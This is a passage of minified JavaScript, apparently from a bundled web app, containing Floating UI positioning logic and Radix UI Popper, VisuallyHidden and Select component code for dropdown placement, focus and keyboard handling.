Cs(t)?{scrollLeft:t.scrollLeft,scrollTop:t.scrollTop}:{scrollLeft:t.scrollX,scrollTop:t.scrollY}}function ji(t){if(Bl(t)==="html")return t;const e=t.assignedSlot||t.parentNode||fw(t)&&t.host||Ys(t);return fw(e)?e.host:e}function WC(t){const e=ji(t);return Il(e)?t.ownerDocument?t.ownerDocument.body:t.body:Gs(e)&&jd(e)?e:WC(e)}function fd(t,e,n){var r;e===void 0&&(e=[]),n===void 0&&(n=!0);const a=WC(t),i=a===((r=t.ownerDocument)==null?void 0:r.body),o=Hr(a);if(i){const c=Ax(o);return e.concat(o,o.visualViewport||[],jd(a)?a:[],c&&n?fd(c):[])}return e.concat(a,fd(a,[],n))}function Ax(t){return t.parent&&Object.getPrototypeOf(t.parent)?t.frameElement:null}function UC(t){const e=Es(t);let n=parseFloat(e.width)||0,r=parseFloat(e.height)||0;const a=Gs(t),i=a?t.offsetWidth:n,o=a?t.offsetHeight:r,c=af(n)!==i||af(r)!==o;return c&&(n=i,r=o),{width:n,height:r,$:c}}function Z0(t){return Cs(t)?t:t.contextElement}function wl(t){const e=Z0(t);if(!Gs(e))return Ws(1);const n=e.getBoundingClientRect(),{width:r,height:a,$:i}=UC(e);let o=(i?af(n.width):n.width)/r,c=(i?af(n.height):n.height)/a;return(!o||!Number.isFinite(o))&&(o=1),(!c||!Number.isFinite(c))&&(c=1),{x:o,y:c}}const AF=Ws(0);function KC(t){const e=Hr(t);return!X0()||!e.visualViewport?AF:{x:e.visualViewport.offsetLeft,y:e.visualViewport.offsetTop}}function IF(t,e,n){return e===void 0&&(e=!1),!n||e&&n!==Hr(t)?!1:e}function Co(t,e,n,r){e===void 0&&(e=!1),n===void 0&&(n=!1);const a=t.getBoundingClientRect(),i=Z0(t);let o=Ws(1);e&&(r?Cs(r)&&(o=wl(r)):o=wl(t));const c=IF(i,n,r)?KC(i):Ws(0);let u=(a.left+c.x)/o.x,h=(a.top+c.y)/o.y,f=a.width/o.x,m=a.height/o.y;if(i){const g=Hr(i),y=r&&Cs(r)?Hr(r):r;let N=g,w=Ax(N);for(;w&&r&&y!==N;){const v=wl(w),k=w.getBoundingClientRect(),C=Es(w),E=k.left+(w.clientLeft+parseFloat(C.paddingLeft))*v.x,T=k.top+(w.clientTop+parseFloat(C.paddingTop))*v.y;u*=v.x,h*=v.y,f*=v.x,m*=v.y,u+=E,h+=T,N=Hr(w),w=Ax(N)}}return lf({width:f,height:m,x:u,y:h})}function Vf(t,e){const n=Bf(t).scrollLeft;return e?e.left+n:Co(Ys(t)).left+n}function qC(t,e){const n=t.getBoundingClientRect(),r=n.left+e.scrollLeft-Vf(t,n),a=n.top+e.scrollTop;return{x:r,y:a}}function RF(t){let{elements:e,rect:n,offsetParent:r,strategy:a}=t;const i=a==="fixed",o=Ys(r),c=e?Ff(e.floating):!1;if(r===o||c&&i)return n;let u={scrollLeft:0,scrollTop:0},h=Ws(1);const f=Ws(0),m=Gs(r);if((m||!m&&!i)&&((Bl(r)!=="body"||jd(o))&&(u=Bf(r)),Gs(r))){const y=Co(r);h=wl(r),f.x=y.x+r.clientLeft,f.y=y.y+r.clientTop}const g=o&&!m&&!i?qC(o,u):Ws(0);return{width:n.width*h.x,height:n.height*h.y,x:n.x*h.x-u.scrollLeft*h.x+f.x+g.x,y:n.y*h.y-u.scrollTop*h.y+f.y+g.y}}function PF(t){return Array.from(t.getClientRects())}function OF(t){const e=Ys(t),n=Bf(t),r=t.ownerDocument.body,a=zr(e.scrollWidth,e.clientWidth,r.scrollWidth,r.clientWidth),i=zr(e.scrollHeight,e.clientHeight,r.scrollHeight,r.clientHeight);let o=-n.scrollLeft+Vf(t);const c=-n.scrollTop;return Es(r).direction==="rtl"&&(o+=zr(e.clientWidth,r.clientWidth)-a),{width:a,height:i,x:o,y:c}}const pw=25;function DF(t,e){const n=Hr(t),r=Ys(t),a=n.visualViewport;let i=r.clientWidth,o=r.clientHeight,c=0,u=0;if(a){i=a.width,o=a.height;const f=X0();(!f||f&&e==="fixed")&&(c=a.offsetLeft,u=a.offsetTop)}const h=Vf(r);if(h<=0){const f=r.ownerDocument,m=f.body,g=getComputedStyle(m),y=f.compatMode==="CSS1Compat"&&parseFloat(g.marginLeft)+parseFloat(g.marginRight)||0,N=Math.abs(r.clientWidth-m.clientWidth-y);N<=pw&&(i-=N)}else h<=pw&&(i+=h);return{width:i,height:o,x:c,y:u}}const LF=new Set(["absolute","fixed"]);function _F(t,e){const n=Co(t,!0,e==="fixed"),r=n.top+t.clientTop,a=n.left+t.clientLeft,i=Gs(t)?wl(t):Ws(1),o=t.clientWidth*i.x,c=t.clientHeight*i.y,u=a*i.x,h=r*i.y;return{width:o,height:c,x:u,y:h}}function mw(t,e,n){let r;if(e==="viewport")r=DF(t,n);else if(e==="document")r=OF(Ys(t));else if(Cs(e))r=_F(e,n);else{const a=KC(t);r={x:e.x-a.x,y:e.y-a.y,width:e.width,height:e.height}}return lf(r)}function GC(t,e){const n=ji(t);return n===e||!Cs(n)||Il(n)?!1:Es(n).position==="fixed"||GC(n,e)}function zF(t,e){const n=e.get(t);if(n)return n;let r=fd(t,[],!1).filter(c=>Cs(c)&&Bl(c)!=="body"),a=null;const i=Es(t).position==="fixed";let o=i?ji(t):t;for(;Cs(o)&&!Il(o);){const c=Es(o),u=Q0(o);!u&&c.position==="fixed"&&(a=null),(i?!u&&!a:!u&&c.position==="static"&&!!a&&LF.has(a.position)||jd(o)&&!u&&GC(t,o))?r=r.filter(f=>f!==o):a=c,o=ji(o)}return e.set(t,r),r}function $F(t){let{element:e,boundary:n,rootBoundary:r,strategy:a}=t;const o=[...n==="clippingAncestors"?Ff(e)?[]:zF(e,this._c):[].concat(n),r],c=o[0],u=o.reduce((h,f)=>{const m=mw(e,f,a);return h.top=zr(m.top,h.top),h.right=wi(m.right,h.right),h.bottom=wi(m.bottom,h.bottom),h.left=zr(m.left,h.left),h},mw(e,c,a));return{width:u.right-u.left,height:u.bottom-u.top,x:u.left,y:u.top}}function FF(t){const{width:e,height:n}=UC(t);return{width:e,height:n}}function BF(t,e,n){const r=Gs(e),a=Ys(e),i=n==="fixed",o=Co(t,!0,i,e);let c={scrollLeft:0,scrollTop:0};const u=Ws(0);function h(){u.x=Vf(a)}if(r||!r&&!i)if((Bl(e)!=="body"||jd(a))&&(c=Bf(e)),r){const y=Co(e,!0,i,e);u.x=y.x+e.clientLeft,u.y=y.y+e.clientTop}else a&&h();i&&!r&&a&&h();const f=a&&!r&&!i?qC(a,c):Ws(0),m=o.left+c.scrollLeft-u.x-f.x,g=o.top+c.scrollTop-u.y-f.y;return{x:m,y:g,width:o.width,height:o.height}}function bg(t){return Es(t).position==="static"}function gw(t,e){if(!Gs(t)||Es(t).position==="fixed")return null;if(e)return e(t);let n=t.offsetParent;return Ys(t)===n&&(n=n.ownerDocument.body),n}function JC(t,e){const n=Hr(t);if(Ff(t))return n;if(!Gs(t)){let a=ji(t);for(;a&&!Il(a);){if(Cs(a)&&!bg(a))return a;a=ji(a)}return n}let r=gw(t,e);for(;r&&jF(r)&&bg(r);)r=gw(r,e);return r&&Il(r)&&bg(r)&&!Q0(r)?n:r||TF(t)||n}const VF=async function(t){const e=this.getOffsetParent||JC,n=this.getDimensions,r=await n(t.floating);return{reference:BF(t.reference,await e(t.floating),t.strategy),floating:{x:0,y:0,width:r.width,height:r.height}}};function HF(t){return Es(t).direction==="rtl"}const WF={convertOffsetParentRelativeRectToViewportRelativeRect:RF,getDocumentElement:Ys,getClippingRect:$F,getOffsetParent:JC,getElementRects:VF,getClientRects:PF,getDimensions:FF,getScale:wl,isElement:Cs,isRTL:HF};function YC(t,e){return t.x===e.x&&t.y===e.y&&t.width===e.width&&t.height===e.height}function UF(t,e){let n=null,r;const a=Ys(t);function i(){var c;clearTimeout(r),(c=n)==null||c.disconnect(),n=null}function o(c,u){c===void 0&&(c=!1),u===void 0&&(u=1),i();const h=t.getBoundingClientRect(),{left:f,top:m,width:g,height:y}=h;if(c||e(),!g||!y)return;const N=Qu(m),w=Qu(a.clientWidth-(f+g)),v=Qu(a.clientHeight-(m+y)),k=Qu(f),E={rootMargin:-N+"px "+-w+"px "+-v+"px "+-k+"px",threshold:zr(0,wi(1,u))||1};let T=!0;function I(O){const L=O[0].intersectionRatio;if(L!==u){if(!T)return o();L?o(!1,L):r=setTimeout(()=>{o(!1,1e-7)},1e3)}L===1&&!YC(h,t.getBoundingClientRect())&&o(),T=!1}try{n=new IntersectionObserver(I,{...E,root:a.ownerDocument})}catch{n=new IntersectionObserver(I,E)}n.observe(t)}return o(!0),i}function KF(t,e,n,r){r===void 0&&(r={});const{ancestorScroll:a=!0,ancestorResize:i=!0,elementResize:o=typeof ResizeObserver=="function",layoutShift:c=typeof IntersectionObserver=="function",animationFrame:u=!1}=r,h=Z0(t),f=a||i?[...h?fd(h):[],...fd(e)]:[];f.forEach(k=>{a&&k.addEventListener("scroll",n,{passive:!0}),i&&k.addEventListener("resize",n)});const m=h&&c?UF(h,n):null;let g=-1,y=null;o&&(y=new ResizeObserver(k=>{let[C]=k;C&&C.target===h&&y&&(y.unobserve(e),cancelAnimationFrame(g),g=requestAnimationFrame(()=>{var E;(E=y)==null||E.observe(e)})),n()}),h&&!u&&y.observe(h),y.observe(e));let N,w=u?Co(t):null;u&&v();function v(){const k=Co(t);w&&!YC(w,k)&&n(),w=k,N=requestAnimationFrame(v)}return n(),()=>{var k;f.forEach(C=>{a&&C.removeEventListener("scroll",n),i&&C.removeEventListener("resize",n)}),m==null||m(),(k=y)==null||k.disconnect(),y=null,u&&cancelAnimationFrame(N)}}const qF=xF,GF=yF,JF=pF,YF=vF,QF=mF,xw=fF,XF=bF,ZF=(t,e,n)=>{const r=new Map,a={platform:WF,...n},i={...a.platform,_c:r};return hF(t,e,{...a,platform:i})};var eB=typeof document<"u",tB=function(){},oh=eB?b.useLayoutEffect:tB;function cf(t,e){if(t===e)return!0;if(typeof t!=typeof e)return!1;if(typeof t=="function"&&t.toString()===e.toString())return!0;let n,r,a;if(t&&e&&typeof t=="object"){if(Array.isArray(t)){if(n=t.length,n!==e.length)return!1;for(r=n;r--!==0;)if(!cf(t[r],e[r]))return!1;return!0}if(a=Object.keys(t),n=a.length,n!==Object.keys(e).length)return!1;for(r=n;r--!==0;)if(!{}.hasOwnProperty.call(e,a[r]))return!1;for(r=n;r--!==0;){const i=a[r];if(!(i==="_owner"&&t.$$typeof)&&!cf(t[i],e[i]))return!1}return!0}return t!==t&&e!==e}function QC(t){return typeof window>"u"?1:(t.ownerDocument.defaultView||window).devicePixelRatio||1}function yw(t,e){const n=QC(t);return Math.round(e*n)/n}function vg(t){const e=b.useRef(t);return oh(()=>{e.current=t}),e}function nB(t){t===void 0&&(t={});const{placement:e="bottom",strategy:n="absolute",middleware:r=[],platform:a,elements:{reference:i,floating:o}={},transform:c=!0,whileElementsMounted:u,open:h}=t,[f,m]=b.useState({x:0,y:0,strategy:n,placement:e,middlewareData:{},isPositioned:!1}),[g,y]=b.useState(r);cf(g,r)||y(r);const[N,w]=b.useState(null),[v,k]=b.useState(null),C=b.useCallback(P=>{P!==O.current&&(O.current=P,w(P))},[]),E=b.useCallback(P=>{P!==L.current&&(L.current=P,k(P))},[]),T=i||N,I=o||v,O=b.useRef(null),L=b.useRef(null),R=b.useRef(f),D=u!=null,_=vg(u),Z=vg(a),ne=vg(h),fe=b.useCallback(()=>{if(!O.current||!L.current)return;const P={placement:e,strategy:n,middleware:g};Z.current&&(P.platform=Z.current),ZF(O.current,L.current,P).then(K=>{const V={...K,isPositioned:ne.current!==!1};xe.current&&!cf(R.current,V)&&(R.current=V,md.flushSync(()=>{m(V)}))})},[g,e,n,Z,ne]);oh(()=>{h===!1&&R.current.isPositioned&&(R.current.isPositioned=!1,m(P=>({...P,isPositioned:!1})))},[h]);const xe=b.useRef(!1);oh(()=>(xe.current=!0,()=>{xe.current=!1}),[]),oh(()=>{if(T&&(O.current=T),I&&(L.current=I),T&&I){if(_.current)return _.current(T,I,fe);fe()}},[T,I,fe,_,D]);const $=b.useMemo(()=>({reference:O,floating:L,setReference:C,setFloating:E}),[C,E]),H=b.useMemo(()=>({reference:T,floating:I}),[T,I]),oe=b.useMemo(()=>{const P={position:n,left:0,top:0};if(!H.floating)return P;const K=yw(H.floating,f.x),V=yw(H.floating,f.y);return c?{...P,transform:"translate("+K+"px, "+V+"px)",...QC(H.floating)>=1.5&&{willChange:"transform"}}:{position:n,left:K,top:V}},[n,c,H.floating,f.x,f.y]);return b.useMemo(()=>({...f,update:fe,refs:$,elements:H,floatingStyles:oe}),[f,fe,$,H,oe])}const rB=t=>{function e(n){return{}.hasOwnProperty.call(n,"current")}return{name:"arrow",options:t,fn(n){const{element:r,padding:a}=typeof t=="function"?t(n):t;return r&&e(r)?r.current!=null?xw({element:r.current,padding:a}).fn(n):{}:r?xw({element:r,padding:a}).fn(n):{}}}},sB=(t,e)=>({...qF(t),options:[t,e]}),aB=(t,e)=>({...GF(t),options:[t,e]}),iB=(t,e)=>({...XF(t),options:[t,e]}),oB=(t,e)=>({...JF(t),options:[t,e]}),lB=(t,e)=>({...YF(t),options:[t,e]}),cB=(t,e)=>({...QF(t),options:[t,e]}),dB=(t,e)=>({...rB(t),options:[t,e]});var uB="Arrow",XC=b.forwardRef((t,e)=>{const{children:n,width:r=10,height:a=5,...i}=t;return s.jsx(ht.svg,{...i,ref:e,width:r,height:a,viewBox:"0 0 30 10",preserveAspectRatio:"none",children:t.asChild?n:s.jsx("polygon",{points:"0,0 30,0 15,10"})})});XC.displayName=uB;var hB=XC,ey="Popper",[ZC,e4]=Ei(ey),[fB,t4]=ZC(ey),n4=t=>{const{__scopePopper:e,children:n}=t,[r,a]=b.useState(null);return s.jsx(fB,{scope:e,anchor:r,onAnchorChange:a,children:n})};n4.displayName=ey;var r4="PopperAnchor",s4=b.forwardRef((t,e)=>{const{__scopePopper:n,virtualRef:r,...a}=t,i=t4(r4,n),o=b.useRef(null),c=Ct(e,o),u=b.useRef(null);return b.useEffect(()=>{const h=u.current;u.current=(r==null?void 0:r.current)||o.current,h!==u.current&&i.onAnchorChange(u.current)}),r?null:s.jsx(ht.div,{...a,ref:c})});s4.displayName=r4;var ty="PopperContent",[pB,mB]=ZC(ty),a4=b.forwardRef((t,e)=>{var re,ue,ce,ye,Re,Le;const{__scopePopper:n,side:r="bottom",sideOffset:a=0,align:i="center",alignOffset:o=0,arrowPadding:c=0,avoidCollisions:u=!0,collisionBoundary:h=[],collisionPadding:f=0,sticky:m="partial",hideWhenDetached:g=!1,updatePositionStrategy:y="optimized",onPlaced:N,...w}=t,v=t4(ty,n),[k,C]=b.useState(null),E=Ct(e,lt=>C(lt)),[T,I]=b.useState(null),O=t0(T),L=(O==null?void 0:O.width)??0,R=(O==null?void 0:O.height)??0,D=r+(i!=="center"?"-"+i:""),_=typeof f=="number"?f:{top:0,right:0,bottom:0,left:0,...f},Z=Array.isArray(h)?h:[h],ne=Z.length>0,fe={padding:_,boundary:Z.filter(xB),altBoundary:ne},{refs:xe,floatingStyles:$,placement:H,isPositioned:oe,middlewareData:P}=nB({strategy:"fixed",placement:D,whileElementsMounted:(...lt)=>KF(...lt,{animationFrame:y==="always"}),elements:{reference:v.anchor},middleware:[sB({mainAxis:a+R,alignmentAxis:o}),u&&aB({mainAxis:!0,crossAxis:!1,limiter:m==="partial"?iB():void 0,...fe}),u&&oB({...fe}),lB({...fe,apply:({elements:lt,rects:Tt,availableWidth:ln,availableHeight:yt})=>{const{width:nn,height:In}=Tt.reference,Mt=lt.floating.style;Mt.setProperty("--radix-popper-available-width",`${ln}px`),Mt.setProperty("--radix-popper-available-height",`${yt}px`),Mt.setProperty("--radix-popper-anchor-width",`${nn}px`),Mt.setProperty("--radix-popper-anchor-height",`${In}px`)}}),T&&dB({element:T,padding:c}),yB({arrowWidth:L,arrowHeight:R}),g&&cB({strategy:"referenceHidden",...fe})]}),[K,V]=l4(H),z=bi(N);or(()=>{oe&&(z==null||z())},[oe,z]);const U=(re=P.arrow)==null?void 0:re.x,le=(ue=P.arrow)==null?void 0:ue.y,J=((ce=P.arrow)==null?void 0:ce.centerOffset)!==0,[Y,B]=b.useState();return or(()=>{k&&B(window.getComputedStyle(k).zIndex)},[k]),s.jsx("div",{ref:xe.setFloating,"data-radix-popper-content-wrapper":"",style:{...$,transform:oe?$.transform:"translate(0, -200%)",minWidth:"max-content",zIndex:Y,"--radix-popper-transform-origin":[(ye=P.transformOrigin)==null?void 0:ye.x,(Re=P.transformOrigin)==null?void 0:Re.y].join(" "),...((Le=P.hide)==null?void 0:Le.referenceHidden)&&{visibility:"hidden",pointerEvents:"none"}},dir:t.dir,children:s.jsx(pB,{scope:n,placedSide:K,onArrowChange:I,arrowX:U,arrowY:le,shouldHideArrow:J,children:s.jsx(ht.div,{"data-side":K,"data-align":V,...w,ref:E,style:{...w.style,animation:oe?void 0:"none"}})})})});a4.displayName=ty;var i4="PopperArrow",gB={top:"bottom",right:"left",bottom:"top",left:"right"},o4=b.forwardRef(function(e,n){const{__scopePopper:r,...a}=e,i=mB(i4,r),o=gB[i.placedSide];return s.jsx("span",{ref:i.onArrowChange,style:{position:"absolute",left:i.arrowX,top:i.arrowY,[o]:0,transformOrigin:{top:"",right:"0 0",bottom:"center 0",left:"100% 0"}[i.placedSide],transform:{top:"translateY(100%)",right:"translateY(50%) rotate(90deg) translateX(-50%)",bottom:"rotate(180deg)",left:"translateY(50%) rotate(-90deg) translateX(50%)"}[i.placedSide],visibility:i.shouldHideArrow?"hidden":void 0},children:s.jsx(hB,{...a,ref:n,style:{...a.style,display:"block"}})})});o4.displayName=i4;function xB(t){return t!==null}var yB=t=>({name:"transformOrigin",options:t,fn(e){var v,k,C;const{placement:n,rects:r,middlewareData:a}=e,o=((v=a.arrow)==null?void 0:v.centerOffset)!==0,c=o?0:t.arrowWidth,u=o?0:t.arrowHeight,[h,f]=l4(n),m={start:"0%",center:"50%",end:"100%"}[f],g=(((k=a.arrow)==null?void 0:k.x)??0)+c/2,y=(((C=a.arrow)==null?void 0:C.y)??0)+u/2;let N="",w="";return h==="bottom"?(N=o?m:`${g}px`,w=`${-u}px`):h==="top"?(N=o?m:`${g}px`,w=`${r.floating.height+u}px`):h==="right"?(N=`${-u}px`,w=o?m:`${y}px`):h==="left"&&(N=`${r.floating.width+u}px`,w=o?m:`${y}px`),{data:{x:N,y:w}}}});function l4(t){const[e,n="center"]=t.split("-");return[e,n]}var bB=n4,vB=s4,NB=a4,wB=o4,c4=Object.freeze({position:"absolute",border:0,width:1,height:1,padding:0,margin:-1,overflow:"hidden",clip:"rect(0, 0, 0, 0)",whiteSpace:"nowrap",wordWrap:"normal"}),jB="VisuallyHidden",kB=b.forwardRef((t,e)=>s.jsx(ht.span,{...t,ref:e,style:{...c4,...t.style}}));kB.displayName=jB;var SB=[" ","Enter","ArrowUp","ArrowDown"],CB=[" ","Enter"],Eo="Select",[Hf,Wf,EB]=Xx(Eo),[Vl]=Ei(Eo,[EB,e4]),Uf=e4(),[TB,Ii]=Vl(Eo),[MB,AB]=Vl(Eo),d4=t=>{const{__scopeSelect:e,children:n,open:r,defaultOpen:a,onOpenChange:i,value:o,defaultValue:c,onValueChange:u,dir:h,name:f,autoComplete:m,disabled:g,required:y,form:N}=t,w=Uf(e),[v,k]=b.useState(null),[C,E]=b.useState(null),[T,I]=b.useState(!1),O=bf(h),[L,R]=xo({prop:r,defaultProp:a??!1,onChange:i,caller:Eo}),[D,_]=xo({prop:o,defaultProp:c,onChange:u,caller:Eo}),Z=b.useRef(null),ne=v?N||!!v.closest("form"):!0,[fe,xe]=b.useState(new Set),$=Array.from(fe).map(H=>H.props.value).join(";");return s.jsx(bB,{...w,children:s.jsxs(TB,{required:y,scope:e,trigger:v,onTriggerChange:k,valueNode:C,onValueNodeChange:E,valueNodeHasChildren:T,onValueNodeHasChildrenChange:I,contentId:fi(),value:D,onValueChange:_,open:L,onOpenChange:R,dir:O,triggerPointerDownPosRef:Z,disabled:g,children:[s.jsx(Hf.Provider,{scope:e,children:s.jsx(MB,{scope:t.__scopeSelect,onNativeOptionAdd:b.useCallback(H=>{xe(oe=>new Set(oe).add(H))},[]),onNativeOptionRemove:b.useCallback(H=>{xe(oe=>{const P=new Set(oe);return P.delete(H),P})},[]),children:n})}),ne?s.jsxs(R4,{"aria-hidden":!0,required:y,tabIndex:-1,name:f,autoComplete:m,value:D,onChange:H=>_(H.target.value),disabled:g,form:N,children:[D===void 0?s.jsx("option",{value:""}):null,Array.from(fe)]},$):null]})})};d4.displayName=Eo;var u4="SelectTrigger",h4=b.forwardRef((t,e)=>{const{__scopeSelect:n,disabled:r=!1,...a}=t,i=Uf(n),o=Ii(u4,n),c=o.disabled||r,u=Ct(e,o.onTriggerChange),h=Wf(n),f=b.useRef("touch"),[m,g,y]=O4(w=>{const v=h().filter(E=>!E.disabled),k=v.find(E=>E.value===o.value),C=D4(v,w,k);C!==void 0&&o.onValueChange(C.value)}),N=w=>{c||(o.onOpenChange(!0),y()),w&&(o.triggerPointerDownPosRef.current={x:Math.round(w.pageX),y:Math.round(w.pageY)})};return s.jsx(vB,{asChild:!0,...i,children:s.jsx(ht.button,{type:"button",role:"combobox","aria-controls":o.contentId,"aria-expanded":o.open,"aria-required":o.required,"aria-autocomplete":"none",dir:o.dir,"data-state":o.open?"open":"closed",disabled:c,"data-disabled":c?"":void 0,"data-placeholder":P4(o.value)?"":void 0,...a,ref:u,onClick:ot(a.onClick,w=>{w.currentTarget.focus(),f.current!=="mouse"&&N(w)}),onPointerDown:ot(a.onPointerDown,w=>{f.current=w.pointerType;const v=w.target;v.hasPointerCapture(w.pointerId)&&v.releasePointerCapture(w.pointerId),w.button===0&&w.ctrlKey===!1&&w.pointerType==="mouse"&&(N(w),w.preventDefault())}),onKeyDown:ot(a.onKeyDown,w=>{const v=m.current!=="";!(w.ctrlKey||w.altKey||w.metaKey)&&w.key.length===1&&g(w.key),!(v&&w.key===" ")&&SB.includes(w.key)&&(N(),w.preventDefault())})})})});h4.displayName=u4;var f4="SelectValue",p4=b.forwardRef((t,e)=>{const{__scopeSelect:n,className:r,style:a,children:i,placeholder:o="",...c}=t,u=Ii(f4,n),{onValueNodeHasChildrenChange:h}=u,f=i!==void 0,m=Ct(e,u.onValueNodeChange);return or(()=>{h(f)},[h,f]),s.jsx(ht.span,{...c,ref:m,style:{pointerEvents:"none"},children:P4(u.value)?s.jsx(s.Fragment,{children:o}):i})});p4.displayName=f4;var IB="SelectIcon",m4=b.forwardRef((t,e)=>{const{__scopeSelect:n,children:r,...a}=t;return s.jsx(ht.span,{"aria-hidden":!0,...a,ref:e,children:r||"▼"})});m4.displayName=IB;var RB="SelectPortal",g4=t=>s.jsx(qx,{asChild:!0,...t});g4.displayName=RB;var To="SelectContent",x4=b.forwardRef((t,e)=>{const n=Ii(To,t.__scopeSelect),[r,a]=b.useState();if(or(()=>{a(new DocumentFragment)},[]),!n.open){const i=r;return i?md.createPortal(s.jsx(y4,{scope:t.__scopeSelect,children:s.jsx(Hf.Slot,{scope:t.__scopeSelect,children:s.jsx("div",{children:t.children})})}),i):null}return s.jsx(b4,{...t,ref:e})});x4.displayName=To;var ws=10,[y4,Ri]=Vl(To),PB="SelectContentImpl",OB=ed("SelectContent.RemoveScroll"),b4=b.forwardRef((t,e)=>{const{__scopeSelect:n,position:r="item-aligned",onCloseAutoFocus:a,onEscapeKeyDown:i,onPointerDownOutside:o,side:c,sideOffset:u,align:h,alignOffset:f,arrowPadding:m,collisionBoundary:g,collisionPadding:y,sticky:N,hideWhenDetached:w,avoidCollisions:v,...k}=t,C=Ii(To,n),[E,T]=b.useState(null),[I,O]=b.useState(null),L=Ct(e,re=>T(re)),[R,D]=b.useState(null),[_,Z]=b.useState(null),ne=Wf(n),[fe,xe]=b.useState(!1),$=b.useRef(!1);b.useEffect(()=>{if(E)return Oj(E)},[E]),Sj();const H=b.useCallback(re=>{const[ue,...ce]=ne().map(Le=>Le.ref.current),[ye]=ce.slice(-1),Re=document.activeElement;for(const Le of re)if(Le===Re||(Le==null||Le.scrollIntoView({block:"nearest"}),Le===ue&&I&&(I.scrollTop=0),Le===ye&&I&&(I.scrollTop=I.scrollHeight),Le==null||Le.focus(),document.activeElement!==Re))return},[ne,I]),oe=b.useCallback(()=>H([R,E]),[H,R,E]);b.useEffect(()=>{fe&&oe()},[fe,oe]);const{onOpenChange:P,triggerPointerDownPosRef:K}=C;b.useEffect(()=>{if(E){let re={x:0,y:0};const ue=ye=>{var Re,Le;re={x:Math.abs(Math.round(ye.pageX)-(((Re=K.current)==null?void 0:Re.x)??0)),y:Math.abs(Math.round(ye.pageY)-(((Le=K.current)==null?void 0:Le.y)??0))}},ce=ye=>{re.x<=10&&re.y<=10?ye.preventDefault():E.contains(ye.target)||P(!1),document.removeEventListener("pointermove",ue),K.current=null};return K.current!==null&&(document.addEventListener("pointermove",ue),document.addEventListener("pointerup",ce,{capture:!0,once:!0})),()=>{document.removeEventListener("pointermove",ue),document.removeEventListener("pointerup",ce,{capture:!0})}}},[E,P,K]),b.useEffect(()=>{const re=()=>P(!1);return window.addEventListener("blur",re),window.addEventListener("resize",re),()=>{window.removeEventListener("blur",re),window.removeEventListener("resize",re)}},[P]);const[V,z]=O4(re=>{const ue=ne().filter(Re=>!Re.disabled),ce=ue.find(Re=>Re.ref.current===document.activeElement),ye=D4(ue,re,ce);ye&&setTimeout(()=>ye.ref.current.focus())}),U=b.useCallback((re,ue,ce)=>{const ye=!$.current&&!ce;(C.value!==void 0&&C.value===ue||ye)&&(D(re),ye&&($.current=!0))},[C.value]),le=b.useCallback(()=>E==null?void 0:E.focus(),[E]),J=b.useCallback((re,ue,ce)=>{const ye=!$.current&&!ce;(C.value!==void 0&&C.value===ue||ye)&&Z(re)},[C.value]),Y=r==="popper"?Ix:v4,B=Y===Ix?{side:c,sideOffset:u,align:h,alignOffset:f,arrowPadding:m,collisionBoundary:g,collisionPadding:y,sticky:N,hideWhenDetached:w,avoidCollisions:v}:{};return s.jsx(y4,{scope:n,content:E,viewport:I,onViewportChange:O,itemRefCallback:U,selectedItem:R,onItemLeave:le,itemTextRefCallback:J,focusSelectedItem:oe,selectedItemText:_,position:r,isPositioned:fe,searchRef:V,children:s.jsx(Gx,{as:OB,allowPinchZoom:!0,children:s.jsx(Kx,{asChild:!0,trapped:C.open,onMountAutoFocus:re=>{re.preventDefault()},onUnmountAutoFocus:ot(a,re=>{var ue;(ue=C.trigger)==null||ue.focus({preventScroll:!0}),re.preventDefault()}),children:s.jsx(Ux,{asChild:!0,disableOutsidePointerEvents:!0,onEscapeKeyDown:i,onPointerDownOutside:o,onFocusOutside:re=>re.preventDefault(),onDismiss:()=>C.onOpenChange(!1),children:s.jsx(Y,{role:"listbox",id:C.contentId,"data-state":C.open?"open":"closed",dir:C.dir,onContextMenu:re=>re.preventDefault(),...k,...B,onPlaced:()=>xe(!0),ref:L,style:{display:"flex",flexDirection:"column",outline:"none",...k.style},onKeyDown:ot(k.onKeyDown,re=>{const ue=re.ctrlKey||re.altKey||re.metaKey;if(re.key==="Tab"&&re.preventDefault(),!ue&&re.key.length===1&&z(re.key),["ArrowUp","ArrowDown","Home","End"].includes(re.key)){let ye=ne().filter(Re=>!Re.disabled).map(Re=>Re.ref.current);if(["ArrowUp","End"].includes(re.key)&&(ye=ye.slice().reverse()),["ArrowUp","ArrowDown"].includes(re.key)){const Re=re.target,Le=ye.indexOf(Re);ye=ye.slice(Le+1)}setTimeout(()=>H(ye)),re.preventDefault()}})})})})})})});b4.displayName=PB;var DB="SelectItemAlignedPosition",v4=b.forwardRef((t,e)=>{const{__scopeSelect:n,onPlaced:r,...a}=t,i=Ii(To,n),o=Ri(To,n),[c,u]=b.useState(null),[h,f]=b.useState(null),m=Ct(e,L=>f(L)),g=Wf(n),y=b.useRef(!1),N=b.useRef(!0),{viewport:w,selectedItem:v,selectedItemText:k,focusSelectedItem:C}=o,E=b.useCallback(()=>{if(i.trigger&&i.valueNode&&c&&h&&w&&v&&k){const L=i.trigger.getBoundingClientRect(),R=h.getBoundingClientRect(),D=i.valueNode.getBoundingClientRect(),_=k.getBoundingClientRect();if(i.dir!=="rtl"){const Re=_.left-R.left,Le=D.left-Re,lt=L.left-Le,Tt=L.width+lt,ln=Math.max(Tt,R.width),yt=window.innerWidth-ws,nn=mh(Le,[ws,Math.max(ws,yt-ln)]);c.style.minWidth=Tt+"px",c.style.left=nn+"px"}else{const Re=R.right-_.right,Le=window.innerWidth-D.right-Re,lt=window.innerWidth-L.right-Le,Tt=L.width+lt,ln=Math.max(Tt,R.width),yt=window.innerWidth-ws,nn=mh(Le,[ws,Math.max(ws,yt-ln)]);c.style.minWidth=Tt+"px",c.style.right=nn+"px"}const Z=g(),ne=window.innerHeight-ws*2,fe=w.scrollHeight,xe=window.getComputedStyle(h),$=parseInt(xe.borderTopWidth,10),H=parseInt(xe.paddingTop,10),oe=parseInt(xe.borderBottomWidth,10),P=parseInt(xe.paddingBottom,10),K=$+H+fe+P+oe,V=Math.min(v.offsetHeight*5,K),z=window.getComputedStyle(w),U=parseInt(z.paddingTop,10),le=parseInt(z.paddingBottom,10),J=L.top+L.height/2-ws,Y=ne-J,B=v.offsetHeight/2,re=v.offsetTop+B,ue=$+H+re,ce=K-ue;if(ue<=J){const Re=Z.length>0&&v===Z[Z.length-1].ref.current;c.style.bottom="0px";const Le=h.clientHeight-w.offsetTop-w.offsetHeight,lt=Math.max(Y,B+(Re?le:0)+Le+oe),Tt=ue+lt;c.style.height=Tt+"px"}else{const Re=Z.length>0&&v===Z[0].ref.current;c.style.top="0px";const 